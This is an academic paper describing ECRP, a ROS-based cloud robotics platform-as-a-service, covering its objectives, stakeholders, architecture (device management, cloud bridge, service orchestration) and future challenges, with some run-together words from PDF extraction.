Robots, with their large amount of sensors, can be seen as an ultimate data collectionmachine. While most of the related works [4, 7, 19, 30] advocate extending thelimited capacity of storage onboard the robots with virtually infinite storage capacityin the cloud, to the best of our knowledge, except for some ground work done inRoboEarth [31], there is no unified architectural proposal to store and handle roboticsdomain specific data in a general manner.

RoboEarth, the project that aimed to build a prototype internet for robots, did someground work on representing robotics domain specific-data [27] and provided a basicdata-storage system consisting of a binary-blob store, a relational database, and atriple Resource Description Framework (RDF) store. A general framework to attachprocessors to the data was missing and the user had to download the data onboard therobot or to another virtual processing environment in the cloud to do any processing.This lead to a huge overhead and a lot of repeated work by each developer. Some otherfeatures that were missing from the RoboEarth storage proposal include: the abilityfor the external user to design schemas; basic data processors to detect duplicatesand corrupt data, which is very common when an autonomous agent collects data;only a triple store was available for storing semantic data.

Robotics domain-specific data presents an additional set of challenges comparedto the human-user generated data. A portion of the data generated by robots can beclassified as the unstructured type as it is not necessary to associate it with prede-fined descriptive data models (e.g., video streaming, pictures). Existing relationshipsbetween data points can be represented on a more abstract level with data-graphsor similar methods that enable data analytics to be performed with the help of addi-tional metadata information. Consequently, object storage systems can be consideredas one of the most suitable and cost-effective options to persist data, together withdatabases for specific structured content such as measurements sampled by sensorsand semantic knowledge.

In terms of the quantity of data that the system should support, it must be generallyconsidered that ECRP will have to ingest considerable amounts of content (e.g., videostreams or high-frequency samples) thus requiring elevated bandwidth to the cloud.For this reason, the deployment of an edge/Micro Data Centre (MicroDC) componenton premises can prove as a beneficial design choice to offload robots from the taskof data handling (as data would be transferred with low-latency and high-bandwidthto the local MicroDC) in the lines of edge-centric computing [6].

[email protected]


From the point of view of data management, specific laws might require regulatedstorage of acquired video streams as well as relevant information for each performedtask (e.g., positioning time series of robots to be used as probative evidence). To min-imize the cost of long-term data archiving that may be dictated by such a requirement,cold storage can be used as a solution for cheap persistence of data, with specificconstraints on availability (e.g., long access times). Finally, like other elements of thePaaS, available storage services will need to support both single and multi-tenancyin order to allow isolated as well as data-sharing scenarios across the board.

2.6 Middleware and Application Services Enablement

The value of a PaaS is in providing, finding and using service-based applicationsin a uniform way. Typical components of service-enabling platforms for PaaS areservice repository, catalog, store, personalised portal as well as platform supportservices in addition to infrastructure services as provided by distributed robots. Incontrast to software stores (e.g. Apple AppStore and Google Play), service storesoffer a contract-based, long-lasting relationship between provider and consumer. Theadditional value can be estimated by relating to business value networks [9].

Service platforms appear in diverse forms. The direction of Service Hubs arguesfor a serviceisation which involves service platforms as hubs inside a larger ecosys-tem [22]. Such platforms consist of a broker with analytics, payment and partnermanagement. The work is mostly conceptual and will need further refinement forECRP.

Realised generic service platforms include APAM, an OSGi-based multi-servicemanagement platform, which is however restricted to Java services, and SPACE,which has a unified hosting concept [5, 25].

Domain-specific service platforms have become popular as well; an example isthe ComSS platform for stream processing services [26]. For robotic services, nosuch platform is known. Innovative designs for distributed service platforms existwith Wiki-WS, a collaborative platform for service communities with a rich servicelifecycle model [14]. Large-scale service repositories have been researched as well;up to about 30000 service descriptions in the Service-Finder EU project were foundto be manageable. Finally, commercial PaaS offers exist but are almost exclusivelytargeting web and telco applications as biggest domains, necessitating research onindustrial service brokering.

2.7 Software Management, CI/CD, DevOps

The software engineering community has already embraced the benefits of DevOps(development and operations) [15] and automation by introducing approaches for CI(Continuous Integration), and CD/CDE (Continuous Delivery/Deployment) [2].

[email protected]


CI systems provide automation to compile and deploy a new software version,Continuous Delivery (CD) systems also automate the testing tasks until a softwareversion that can be used as a release candidate. Continuous Deployment (CDE)describes an extension to CD that automatically deploys a release candidate to pro-duction [11].

Concepts like perpetual development are in place at most Internet-based compa-nies and CDE practices have reduced the release cycles to hours or less. Green-blueand canary deployments are also quite common, and like most best practices andcontributions have been devised and shared by large Internet-based players (e.g.,Netflix, its tool set and practices) rather than academia.

One of the limits of the current approaches to DevOps practices are scarce (orrather absent) focus on non-functional performance as reported in [2]. DevOps inthe presence of multi-robot/multi-domain deployments (on heterogeneous devices)are also not addressed. Finally, stateful service migration is still dealt with in ad-hocfashion with little room for automation/repeatability.

3 ECRP Objectives

The first objective of the ECRP project is to establish the groundwork for the ROS-

based robotics domain towards a cloud-enabled ecosystem that embraces robotics

services in any application area.The vision of a robotics ecosystem depends on the investment of hardware and

software developers, many of them with vested commercial interests. When it comesto the engagement of software developers, the adoption of Cloud Computing, Infras-tructure as a Service (IaaS) but even more Platform as a Service (PaaS), has proven tosignificantly facilitate software-based innovations in any cloud-enabled applicationdomain. This simply by the fact that nearly unlimited resources (IaaS) combinedwith a nearly unlimited set of functionality (PaaS) has become available in a native,well-defined and unified, programmatic way to those developing applications, thatis software developers, simply by software (code) itself, the lingua franca of anysoftware engineer.

The potential, inherent to IaaS and even more to PaaS, to accelerate software-basedinnovations makes no exception of robotics and the existence of a cloud-enabled soft-ware development environment appears overdue. Irrespectively, no public Platformas a Service (PaaS) for Robot-based Applications was available on the market, andonly one proposal has been made by academia, RoboEarth [31] which is the genesisof ECRP. A commercial version of the main concepts from ERCP has been imple-mented by our partners at Rapyuta Robotics and is offered as “rapyuta.io”,30 the firstenterprise-grade PaaS for cloud robotics using ROS.

RoboEarth, however, was focused on providing compute, storage, and networkingresources in IaaS-like approach. To this date, all benefits of the modern software

30https://www.rapyuta-robotics.com/technology_cloud

[email protected]


engineering with PaaS are unavailable to one of the most important and fastestgrowing markets, and this despite unquestioned innovation and commercial potentialof PaaS for connected things (Robots).31

The second objective of ECRP is to prototypically design, implement, test, deploy

and operate a complete and beyond state-of-the-art PaaS for Robotics.

This objective is to build an OSS PaaS solution for robotics and to support ourproject partner Rapyuta Robotics, a high-potential ETH Zurich spin-off companywith offices in Zurich, Tokyo, and Bengaluru (India), in the process of establishingitself as the very first dedicated PaaS-Provider for Robotics.

The aforementioned paradigm change in robotics enabled by the ROS open soft-ware framework combined with a PaaS for Robotics (ECRP) will facilitate the devel-opment of novel applications significantly and hereby drive the adoption of robotsin many more (new) application domains. This, however, will heavily depend on theusefulness and usability of the proposed PaaS for Robotics, which in turn requires agood understanding of this very particular domain.

First and foremost, PaaS is a tool for software engineers and the domain is expe-riencing great advancements, like the adoption of Agile Software Development,32

Test-driven Software Development (TDD), Micro-Service Architectures,33 Contin-uous Integration and Deployment, and DevOps, just to name a few. A PaaS forRobotics that would not embrace such practices is doomed to fail.

Secondly, the Robotics domain is very specific, in terms of device abilities andsoftware that controls robot devices, as well as applications that make use of ser-vices provided by robots. Hence, a distinction is to be made, between softwaredevelopers that write robotics software, hardware drivers, powertrain control mod-ules, sense of vision, hearing, stability, autonomous navigation, mission and taskplanning, and those that build applications based on robot services for industrial(e.g. factory automation), enterprise (e.g. service industries, logistics, security), orpersonal environments (e.g., care for elderly or for physically handicapped). Theoperational aspects such as high-availability and service-level agreements and com-pliance are imperative to any cloud provider. Therefore, support for all these aspectsis imperative for any PaaS for Robotics.

3.1 Robotic Development and Innovation Costs

ROS is an open-source development framework for robots. The currently commonlyused release is ROS1, but the first version of ROS2 has been released in December2017. One of the big advantages of ROS is the large community base (see ROSmetrics34). It is by far the most used framework in robotics. What is missing though

31http://www.gartner.com/newsroom/id/324181732http://agilemanifesto.org/33https://martinfowler.com/articles/microservices.html34http://wiki.ros.org/Metrics

[email protected]


is a centralized enterprise-grade quality assurance method, something started recentlyby the ROS-I(Industrial) community.

ROS provides the services you would expect from an operating system, includinghardware abstraction, low-level device control, implementation of commonly usedfunctionality, message-passing between processes, software package management,as well as build tools, visualization and data analytics tools.

ROS allows robotics developers to concentrate on one specific functionality ata time (e.g. device control, based on visual and audible sensing, steering of move-ments, navigation, 3d reconstruction) implemented into so-called ROS Nodes. TheROS runtime “graph”, called ROS Computation Graph, is a peer-to-peer networkof nodes that are loosely coupled using the ROS Communication Infrastructure.ROS implements several different styles of communication, including synchronousRemote Procedure Call (RPC)-style communication over services, asynchronousstreaming of data over topics, and storage of data on a Parameter Server.

A typical ROS-based robot environment (ROS Computation Graph) would featurea number of nodes, each node encapsulating a certain functionality and offering ser-vices and data via an external interface that is connected via a certain communicationapproach, exemplarily illustrated in Fig. 1.

To highlight the fact that ROS is essentially a service-based distributed system, thisexample setup ranges across two host systems, a robot host with the a laser scanner(also called “lidar”) and a scan-processing node, as well as a separate cloud hostthat runs a Google Cartographer instance to build a map from laser scans. The two

Laser

Scanner

Lidar

Nodemove_base

ROS

Master

GoogleCartographer

/scan

Subscribe

Registration

Subscribe

RegistrationRegistration

PublishData

Robot Cloud

/map

Publish

Fig. 1 An example of ROS deployment on cloud

[email protected]


hosts are connected with the ROS communication infrastructure, which is essentiallybased on Internet Protocol version 4 (IPv4).

The ROS Master acts as a nameservice in the ROS Computation Graph. It storestopics and services registration information for ROS nodes. Nodes communicatewith the Master to report their registration information. As these nodes communicatewith the Master, they can receive information about other registered nodes and makeconnections as appropriate. The Master will also make callbacks to these nodes whenthese registration information changes, which allows nodes to dynamically createconnections as new nodes are run. Nodes connect to other nodes directly; the Masteronly provides lookup information, much like a Domain Name Service (DNS) server.Nodes that subscribe to a topic will request connections from nodes that publish thattopic, and will establish that connection over an agreed upon connection protocol.

With this conceptual framework supporting ROS, what is the general softwaredevelopment and operations approach behind ROS?

To answer this question a distinction has to be made, since two expert domains areinvolved. First, there is the robot control domain, that is software that is required forcontrolling the robot device itself, like ROS nodes that encapsulate image processingfor vision-based navigation, or software that controls an arm that is able to graspitems. The second domain is concerned with the robot-assisted/-enabled applicationdomain, like an application to streamline logistics in a pharmaceutical enterprise,or a security application that monitors large plants with drones. In cloud computingterminology, the entire ROS framework would be the equivalent to a platform, whilethe application itself would be the software developed and deployed on top of it.

A ROS-based, robot-assisted application requires ROS core services on the hostsystems, like ROS Master and ROS Communication Infrastructure. In addition, anumber of ROS nodes, either developed by a robot control software developer orprovided by a third-party and available in a ROS Repository, are to be selected andcompiled either on the host systems or directly on the target robot device (see Fig. 1).Proper selection and configuration of ROS (platform) components therefore needssubstantial knowledge about the robot domain itself. The deployment of compilednodes, that encapsulate device specific functions and services plus ROS core services,is a manual process, on a per-node basis. There is a concept of launch files, a basicscript-based launch support for nodes, yet the scripts need to be tailor-made andlaunched manually. All these steps are required to provide a “ROS-based platform”.

With the ROS core services and ROS nodes provided, the actual application thatmakes use of the robots can be developed on top, typically by interfacing with robotcontrol services, encapsulated by ROS nodes, for functions like mission and taskplanning, or more generally for autonomous behaviour to execute a certain task aspart of a robot-assisted application domain. This in turn requires first and foremosta very substantial understanding of the application domain itself, its workflows andrelated objectives. This is typically provided by a specialized application domainexpert.

The current approach of ROS, however, requires the application domain expertto have comprehensive robotics expertise as well, to provide and operate the plat-form, and meeting the functional and non-functional (reliability, robustness, timing)

[email protected]


requirements of an application so far requires knowledge about robotic control ser-vices, like software parameterization, and abilities of the underlying robot hosts.Even if the interfaces of two ROS components (nodes) are syntactically the same,they can be semantically different or have different execution semantics, especiallyif deployed on different robots. The same applies to configuration, which is in manycases very specific to the device, the actual robot control approach, the scale of thedeployment, or even subject to environmental parameters.

This analysis provides evidence for the present difficulties with software develop-ment based on ROS. The framework imposes an extensive amount of device-local anddevice-specific, as well as ROS-internal effort, mostly due to manual and repetitivetasks, only to prepare the environment, on top of which robot-enabled applicationscan be developed. Secondly, application developers are fully exposed to the het-erogeneity of the underlying platform and host environments, which require veryspecialized (hence rare) domain expertise in both areas, robot control and appli-cation domain. Furthermore, the missing separation of concerns between platformand application layer does not permit easy reuse of software, essentially impos-ing purpose-built configurations for each environment, deployment, and applicationinstance.

In conclusion, the lack of a common platform concept for robotics still renderssoftware development and innovations a very challenging, if not prohibitively expen-sive, exercise.

3.2 Requirements

ECRP addresses the above mentioned shortcomings, starting from identifying whatwe expect to be the main stakeholders and actors in a cloud robotics ecosystem. Figure2 represents an high level view of this ecosystem where we identified resources (inblue) and actors.

Bottom up, the main involved roles are: Robot Hardware Manufacturer (RHM,builds the electro mechanical system), Robot Deployment and Provisioning Engineer(RDPE, deploys robots at the end-users’ environment: configuration, calibration,integration with environment, testing), Robot Operator (RO, operates and maintainsrobots), Robotics Systems Software Developer (RSSD, makes the robot ROS-enabled, integrates with platform), Platform Operator (PO, operates the platform),Enabling Algorithm and software Developer (EASD, expert in robotics and otherenabling algorithms), Robotics Enabled application developer (READ, applicationdomain expert)

Due to space limitations, we will not go over the complete stakeholder analysishere. For the purpose of this paper, we will only list some highlights and assumptionsthat drove our design decisions in the architecture section. In a concrete implementa-tion of this view for a specific robotic application, the same entity can play multipleroles. For instance, iRobot with its consumer robots Roomba plays most roles in the

[email protected]


environment

Data centerEdgeRobot

Cloud Infrastructure Provider

(CIP)

Robot Hardware

Manufacturer

(RHM)

Robot System Software

Developer (RSSD)

Robot Deployment

and Provisioning

Engineer (RDPE)

Robot

Operator

(RO)

Enabling Algorithms and Software

Developer (EASD)

Robot Enabled Application Developer

(READ)

End User (EU)

Platform Developer (PD)

Platform Operator (PO)

Platform

3rd party

Enabling

Services (3ES)

3rd party

Enabling

Services (3ES)

Robot Enabled

Applications (REA)

3rd party

Enabling

Services (3ES)

Robot Enabled

Applications (REA)Robot Enabled

Applications (REA)

Robot

Fig. 2 Cloud robotics ecosystem: actors (white) and resources (blue)

picture, AWS is the cloud infrastructure and platform provider35 and private cus-tomers act as end users of the “iRobot HOME App” through their mobile phones.ECRP was designed from its inception to support the development of similar (andmore complex) robot-enabled applications.

3.3 Design Goals

The main intended user of ECRP is the robot-enabled application developer (READ).READs are first and mainly domain-specific application developers: they shouldbe domain and development technology experts in their specific application field(e.g., logistics, health-care, construction, agriculture), but they are not required to be

robotics nor cloud experts.We want the ECRP PaaS to do what cloud computing does best: hide complexity

and provide the abstraction needed to only reason in application domain terms. Norestrictions on development technologies are imposed, except for components thatinterface directly with ROS which require a ROS library in the language of choice(e.g., Python, C++, Java, JavaScript).

35https://aws.amazon.com/solutions/case-studies/irobot

[email protected]


Apart from enterprise-grade applications, the platform should support applicationsdesigned for private customers, where the only step required to “configure” a robot isunpacking, charging eventual batteries, and connecting to the Internet either throughWiFi or a mobile network. No complex networking configuration should be requirednor expected.

3.4 Technical Assumptions

Considering our expectations concerning the robotics ecosystem, we made the fol-lowing technical assumptions.

– ECRP applications are built using ROS-based components, hence some of theplatform-level services (e.g., the cloud bridge) are currently based on the ROScommunication primitives (e.g., services, topics, actionlib). However, nothingprevents the development of applications not using ROS, albeit this would requireextending the cloud bridge;

– The platform assumes that the robots it manages come with the “minimal” softwarestack necessary for the on-board computer to correctly interface with the robotichardware (e.g., device drivers and ROS nodes for each sensor/chain of actuators)

3.5 Core Features

Apart from a generic PaaS functionality [20], ECRP caters for what we consider coreproductivity enhancing features while building robot-enabled applications. Theseare:

– Device-Management: GUIs and APIs for robot on-boarding to the platform, SWupdate, diagnostics, terminal to remote device via browser, remote task execution;

– Transparent cloud communication: on-device and in-cloud components cancommunicate seamlessly hiding the complexity of networked communication(e.g., firewall and NAT traversal);

– Orchestration of devices and services: an API lets developers programmaticallycontrol which robots are selected to perform a specific task as well as which SWcomponents are started and/or stopped on the cloud, edge, and robotic devices.This enables developers to have fine grained control over their application behavioras well as its operating costs (e.g., by minimizing running cloud-side componentswhen robots are not requiring them).

[email protected]


4 Architecture

Figure 3 depicts the high level architecture of ECRP. At infrastructural level (bottom),the platform runs applications that can be distributed across cloud servers, edgecomputing devices, and robots.

The base technology used for the cloud and edge devices is a container manage-ment solution; we implemented both a Kubernetes (K8S) and an Openshift versionof ECRP. On top of this base technology we run platform components (“platform”layer, in the middle) that implement the main platform functionalities: device man-agement, multi-site ROS-based communication with the cloud (enabling logic forcloud-bridge and broker), orchestration (Service Catalog and Open Service Broker).

The connection to robotic devices relies on control and management planes builtusing a standard cluster management technology, as well as a dynamically provi-sioned “cloud bridge” that acts as the data plane for applications that require ROSdata flowing between a robot and the cloud.

Finally, at application level (top layer in Fig. 3), we depict all components that aredeployed on top of the platform to execute a specific application. Some componentsare transparently deployed and managed by the platform to enable communication(e.g., cloud bridges for each robotic device, ROS master and bridge), others aredeployed by the platform upon request of instantiation of a service (e.g., navigationservice instance), and some are provided by the application developer to enableapplication interaction (e.g., WebUI, Application Logic).

Fig. 3 ECRP architecture

[email protected]


In the following subsections we well describe in detail the main architecturalcomponents.

4.1 Device Manager

The Device Management (DM) functionality provides the base communicationbetween a device and the cloud platform. Unlike the communication traversing thecloud-bridge, which is ROS-specific and intended to be active only while the robot isperforming some task, the device management functionality is expected to be alwaysON, as it is the only mechanism intended to allow messages supporting orchestrationto and from the robot. It is intended to:

– Allow a robot to register its availability to the platform;– Support software installation and update;– Provide minimal position, diagnostics, and state information from the robot to the

cloud platform;– Run software components on the robot and manage their lifecycle as part of

orchestration;

Seen from the perspective of the entire platform functionality, device managementis the enabler of orchestration: that is managing what processes/services are runningon what devices.

Due to the asymmetrical communication (e.g., NATing, private IPs) between cloudand on-premise components, device management requires a simple software agentto be installed on robots and devices connected to the ECRP platform. The agentconnects to a cloud-based device management service through which it receivescommands implementing the functionality described above. Additional computa-tional nodes on premises (edge devices) can be managed through the platform eithervia the device management solution or directly via the Kubernetes (K8S) interfaces(kubelet agent on host).

4.2 Cloud Bridge

Cloud bridges in ECRP provide the (single or multiple) interconnection(s) at ROSlevel between ROS nodes running on premises (physically in a robot, or on an edgedevice if needed) and ROS nodes running in the cloud. This allows to relay mes-sages on topics/services on premises and in the cloud as if they were generated in acontiguous domain. In ROS terms, the cloud bridge acts as a subscriber to messagesin a source ROS environment and as a publisher in a destination environment byregistering to the appropriate ROS masters.

As for the device manager, due to the asymmetrical nature of networking betweencloud and on-premise components, a cloud bridge uses a publicly accessible (network

[email protected]


of) broker node(s) in the cloud to act as connection point for multiple cloud bridgeclients on robot, edge, or cloud applications. In Fig. 3 we represented the functionalityof the cloud bridge relaying messages between two ROS environment with a directeddashed line albeit the actual communication goes through a broker.

Cloud bridges are configurable with respect to what ROS topics and services willbe relayed to a broker and with which QoS semantics (e.g., best-effort vs in-orderreliable delivery, eventual compression). Depending on network configuration, edgecan directly be part of a shared ROS environment with robots on premises, or theycan also be configured to use a cloud bridge.

4.3 Orchestration

Orchestration is the functionality that makes every aspect of robot enabled applica-tions, including each of their components and resources, programmable. In order toraise the abstraction bar and simplify the development of applications through func-tionality composition, in ECRP we use the concept of “service”, mutuated from theupcoming Open Service Brocker (OSB) specification36 together with the Kubernetesservice catalog concept.

According to the OSB specification, a service is a “managed software offering thatcan be used by an Application”, for instance a service is the functionality offered by aPostgreSQL database. A service instance is “An instantiation of a Service offering”,that is a provisioned instance of a PostgreSQL database that can be accessed by anapplication. A service broker manages the life-cycle of service instances, while aservice catalog is “an extension API that enables applications running in Kubernetesclusters to easily use external managed software offerings, such as a datastore serviceoffered by a cloud provider. It provides a way to list, provision, and bind with externalManaged Services from Service Brokers without needing detailed knowledge abouthow those services are created or managed”.37

With respect to both the Web services literature and the concepts from theK8S/OSB specification, a service in ECRP has the additional characteristic of beingpossibly tied to one (or more) robot(s). Moreover, ECRP services are designed toeasily allow composition and reuse. We will illustrate these concepts with a concreteexample.

Robopatrol [29] (see Fig. 4) is a simple patrolling application based on a Turtlebot2 and implemented as our first use case in the ECRP project. The user is given a WebUI through which she can drive the robot around on a map and see a live streamfrom its camera. One or more maps of the environment can be constructed by therobot through manual or autonomous exploration. The core functionalities of theapplication (e.g., web-based map navigation, video streaming) are implemented asdifferent “services”, whose instantiation triggers the deployment and execution of

36https://github.com/openservicebrokerapi/servicebroker37https://kubernetes.io/docs/concepts/service-catalog/

[email protected]


Fig. 4 Robopatrol components

several intercommunicating components across the cloud and the chosen robot. Forexample, an instance of service “navigation” can be created by selecting a robotavailable through the device manager. As depicted in Fig. 3, the instantiation of theservice will start the required ROS nodes on the selected robot (i.e., move-base,rplidar, amcl) and the cloud (i.e., map-publisher), as well as configure the cloud-bridge to allow the map and the navigation commands to flow between them. Withthe same principle, the entire RoboPatrol application can be deployed as an instanceof its own specific service. The core cloud components being deployed (i.e., the Webinterface and the core application logic) use the service catalog to programmaticallycreate the instances of the services needed by the application functionality.

Orchestration of services allows the platform to support the implementation of aservice market built on top of the service catalog. This is in line with the conceptof “3rd party enabling services” and the role of enabling algorithm and softwaredeveloper (EASD) in our robotic ecosystem analysis (see Fig. 2). EASDs are devel-opers that provide services that can be instantiated and composed into applicationsby READs. Apart from the base functionality provided by the platform, 3rd partyservices extremely simplify and reduce the effort needed to develop an application

with ECRP. With this metaphor, referring to the top of Fig. 3, RoboPatrol develop-ment in ECRP only consists in developing two components (i.e., the “Web UI” and“application logic”) since the “navigation” service is provided in the catalog and therest of the application components are provided and managed by the platform.

5 Discussion

5.1 Progress Beyond the State of the Art

Cloud robotics The current state of the art of cloud robotics only sees initial effortsin running robot clones in the cloud, still using manual setup processes and notadopting cloud-native design principles. The result are simple, brittle, non-scalablerobotics applications with loose integration to the cloud and manual deployments.

[email protected]


ECRP builds the basis for a reliable and scalable cloud robotics PaaS significantlyadvancing the current software development practice, lowering the access barriers torobot-enabled application developers to the wide community of cloud-based/domain-specific application developers.

Moreover, the project also addressed the operational aspects and costs of running acloud robotics platform, providing specific solutions for addressing continuous inte-gration, deployment and orchestration for robotics, as well as considering advancedresource management solutions in order to extend the economical advantages. Thecommercial implementation of ECRP integrates specialized robotics hardware (e.g.X86, ARM, Sensors, GPUs, FPGAs, Vision), ROS nodes containerization and place-ment, eliminating the need of sizing of physical computation, and providing softwaredevelopers a complete development, build, test, simulation and code managementenvironment supporting multiple architectures.

Several players are starting to address the cloud robotics space. TheConstruct-Sim38 is focused on providing ROS education through the use of virtual machinesand Gazebo simulation, it is not however a platform do develop and run applicationscontrolling multiple physical robots.

The already mentioned Google cloud robotics platform is, at the time of writing,still not available, and the limited information about it seem to refer mainly to acollection of robot-accessible services to simplify robotic applications development(e.g., mapping with cartographer, AI/ML for speech recognition/vision). Here also,there seem to be no addressing to building a PaaS to actually manage robotic appli-cations. The same can be said about any non-robot manufacturer listed in a recentCloud Robotics Market forecast.39

Orchestration ECRP approach to orchestration consists in a two-pronged approachthat combines resource orchestration and service composition in a seamless wayto achieve modular and recursive composition. Furthermore, a novel feature is theability to resolve dependencies, some of them depending on real-time state, basedon matching of Desired State and Actual State.

Orchestration in ECRP offers automation across the complete life cycle of aservice where the service metaphor has been adapted to a cloud robotics task. Con-sidering for instance a robotic security patrol task, the task administrator can designand implement it by specifying the needed resources (e.g., how many robots and ofwhich type, what ROS nodes and where to run them) and the logic managing the taskat runtime (e.g., deciding the navigation waypoints for each robot, the processing ofcamera streams as robots approach selected areas).

Once a patrol task is defined as a service and its Service Manager is deployed,any authorized user can trigger a robotic patrol (i.e., a service instance) and config-ure it with a click. The service orchestrator will acquire and coordinate all needed

38http://www.theconstructsim.com/39https://www.openpr.com/news/1218813/Global-Cloud-Robotics-Market-trends-and-business-development-strategies-forecast-by-2025-with-top-player-analysis-Amazon-Robotics-Google-Huawei-Technologies-IBM-Microsoft-C2RO-Cloud-Robotics-CloudMinds-Technology-Inc-Ericsson-Rockwell-Automatio.html

[email protected]


resources, manage the runtime execution of the task, and dispose or release (e.g.,sending robots back to their charging stations) all needed resources once the task iscompleted. The task will typically include resources, ROS control and applicationsoftware components. The amount of parametrization and adaptability of a task isprogrammable, so that even tasks requiring a high degree of configuration and adap-tation (e.g., responding to the triggering of an alarm by sending a group of robots tocollect information) can be easily implemented and triggered automatically throughan API.

For instance, such a task could only require as input the location and severity ofthe alarm and then the application logic could programmatically decide how manyrobots to dispatch, from where, and using which navigation paths. Exposing resourceand service orchestration as programmable APIs to be leveraged by the applicationlogic to perform generic robotic tasks at runtime is a concept transcending currentrobotic practice and research and is a key enabler of future self-managing roboticapplications.

Cross-Domain Container-Based Runtime ECRP is built on top of a containermanagement solution which supports running applications spanning not only datacenter nodes, but also edge computing and mobile robots. Currently kubernetes relieson a the consistency of the backing datastore (etcd) that is optimized for low latencyand high throughput. Network spikes cause it to undergo leadership transitions andmay lead to faulty results in case of network partitions.

The described design requirements for this imply higher latency and finding alter-native solutions to build the distributed management functionality over the physicalcluster. Moreover, it implies adopting novel recovery policies for health managementthan in the cloud as failures in the robotic domain require remediation involving otherrobots rather than simply restarting a container elsewhere.

With the introduction of said feature it becomes necessary to support the executionof containers on different CPU architectures such as x86 (e.g., in the cloud and edge)or ARM (e.g., on mobile robots) which result in different binaries. This requiresspecialized handling of the created container images during container images creationand distribution. As already mentioned, this is fully supported in the commercialimplementation of ECRP.

ROS 1.0 design relies heavily on the availability of the ROS Master which suffersfrom degradation and possible disruption when used over intermittent networks.The multi-master solutions that exist make trade-offs and offer lower guaranteesof consistency, for which ECRP uses multiple single-mater ROS environments asfederations. Additionally, they are not resilient in case of failure and often rely oninternal data structures running in the process instance.

These two qualities alone make it suboptimal for a production grade environment.ROS2 attempts to solve these issues to an extent; however, it is still currently a workin progress and lacks wider adoption in the ROS community. Additionally it doeslittle to solve the issues dealing with subnets, NAT traversals and remote subnets. Webelieve from inception of the project that it was imperative for the ECRP to treat the

[email protected]


ROS environment as a first class citizen in ECRP and use the same underlying tools,backing databases and network infrastructure that our platform uses to guaranteeseamless resiliency, scalability and availability for the core ROS environment.

Middleware and Applications Services Enablement ECRP advances the conceptof platforms for robotics to integrate a commercial-grade open domain-specific ser-vice catalog which can be used to drive innovation further through truly collaborativedevelopment in robotics.

A key is the ECRP Device and Service Catalog which allows for centralizedand distributed publication, offering, purchase, and commercialization of basic ROSservices, as well as more advanced Value-Adding Services (VAS) provided by thirdparty developers.

One particular feature of this catalog is that it presents also state of services.Services (ROS and VAS) provided as integral part of the platform are stored in aservice repository, while third party services do not necessarily need to be hostedby a ECRP instance, but can be hosted anywhere, a description (functional andnonfunctional) of the service endpoint and its quality features is sufficient.

This concept goes clearly beyond the current SoTA, since it enforces not only acommon interface, but involves the platform provider as a quality gate and enforcesa provider-set level of quality and hence ensures different levels of trust into servicesprovided, especially those by third-parties. Such a concept is currently entirely absentin the robotic community, and the only element that comes anywhere close to this isa website with a collection of software repositories of code contributions by differentsources. This lack of any quality certification has been identified as one of the top-most issues by the ROS-Industrial consortium and only partially addressed by theRosIn project.

Software Management, CI/CD, DevOps ECRP requires a novel and uniqueapproach, the ECRP Software Build Process, due to the different nature of the ser-vices and components (immaterial and physical) it deals with.

First of all, software updates/deployment of new software on robots needs to besimple and safe. This requires update support while not in operation (e.g., whilerecharging) using immutable images or change-sets (similar to OTA updates forphones) for the OS and ECRP enabling components. Containers running ROS appli-cation logic instead can be updated through ECRP Orchestration and possibly evenwhile in operation if required.

A second aspect that needs to be considered is that customers and robots willbe running different versions of clients accessing APIs. It is important for ECRPSoftware Build Process as well as the ECRP Code and Container Repository tohelp in supporting multiple versions of the same code and simultaneously easing theprocess of updating clients to the latest version. Finally, when a developer builds anew software version and pushes it, rolling updates without downtime are needed toaddress the two cases above.

[email protected]


5.2 Experience and Future Challenges

We discussed specific challenges with respect to hardware heterogeneity, cloudbilling models, optimal component placement, and configuration dependencies inour previous work [29] where we also related on our own experience with respectto cloud latency. In this paper we address other, more platform-design related, chal-lenges.

Robot-Aware Cloud Networking ECRP will introduce ROS Native Mobility andService Routing Features. The plan is to add these features to the DDS/RTPS protocolstandard. In order to do so, we will modify and extend the discovery protocol ofRTPS to allow IP changes in both local and remote peers, and we will create a novelPub/Sub routing service incorporating this feature. These extensions are planned tobe implemented in eProsima Fast RTPS, working towards their standardization at theOMG. The solution will solve also the issue of NATing in moving networks, such asrobots changing access points, and will be able recover from temporal disconnections.

Distributed Storage ECRP has the goal to perform an extensive aggregation andconsensus of robotics knowledge representation by working with domain-experts topropose the a standard for Robotics Knowledge Representation. This step will alsoinclude developing conversion modules that makes it easy for the transition fromexisting scattered work. Further, ECRP will build a storage solution that supportsthe above developed standards and a general framework which allows developersto deploy data processors instead of moving the data to a different location to dothe processing. Extending the above storage solution to a multi-tier multi-tenantstorage solution that spans across data centres, micro data centres, network edges,and robots will be another advancement. The developer should flexibly configure thedeployment of data based on the customer requirement (e.g., privacy), the availablenetwork and input/output (I/O) constraints.

Deployment Models Fig. 3 deliberately shows a scenario where no computation ishappening on the edge components. ECRP supports both scenarios in which theplatform is deployed in the cloud and through the cloud controls robots and edgedevices, as well as a complete on-premises model in which the platform can bedirectly installed on edge systems. Given the more complex nature of the latterconfiguration, we assume it would not be deployed for consumer robotics scenarios.Finally, the platform can also be installed on premises using cloud hosts to extendlocal computation capabilities.

Composition and Reuse We already discussed how the concept of service can becomposed to enable the instantiation of a service that deploys all the (sub) servicesit requires. In RoboPatrol, this service composition is done programmatically, thatis one application component (i.e., “application logic” in Fig. 3) has access to theservice catalog and uses its API to instantiate the services needed by the applicationat runtime (e.g., navigation, mapping). In its own turn, the service broker of the nav-igation service takes care of configuring the cloud bridges and instantiating all the

[email protected]


components the service requires: three on the robot and one in the cloud. Our imple-mentation of ECRP only supports programmatical composition, however, togetherwith Rapyuta Robotics, we have also been working on declarative composition whichis supported in rapyuta.io through the concept of packages.

With declarative composition, similarly to what can be done with TOSCA orOpenstack Heat, rather than programming the composition logic within the applica-tion or by providing a service broker instance, a developer can use a YAML-baseddescriptor (or a GUI template) to indicate a list of required components or services thatwill be created on service instantiation. Some components (e.g., the map-publisherin our navigation example) could be shared and reused by other service instances, forexample while controlling two or more robots on the same map. Declarative com-position allows READs to specify service compositions without necessarily havingto deal with the intricacies of service brokers.

Multi-robot Support Multi-robot support in ECRP is not directly addressed beyondwhat is currently supported using ROS namespaces. Cloud bridges support concur-rently relaying messages belonging to multiple namespaces, hence can be used todesign multi-robot applications. Clearly, some components need to be namespace-aware and either statically configured to know which namespaces to use or need touse dynamic discovery of relevant namespaces and topics.

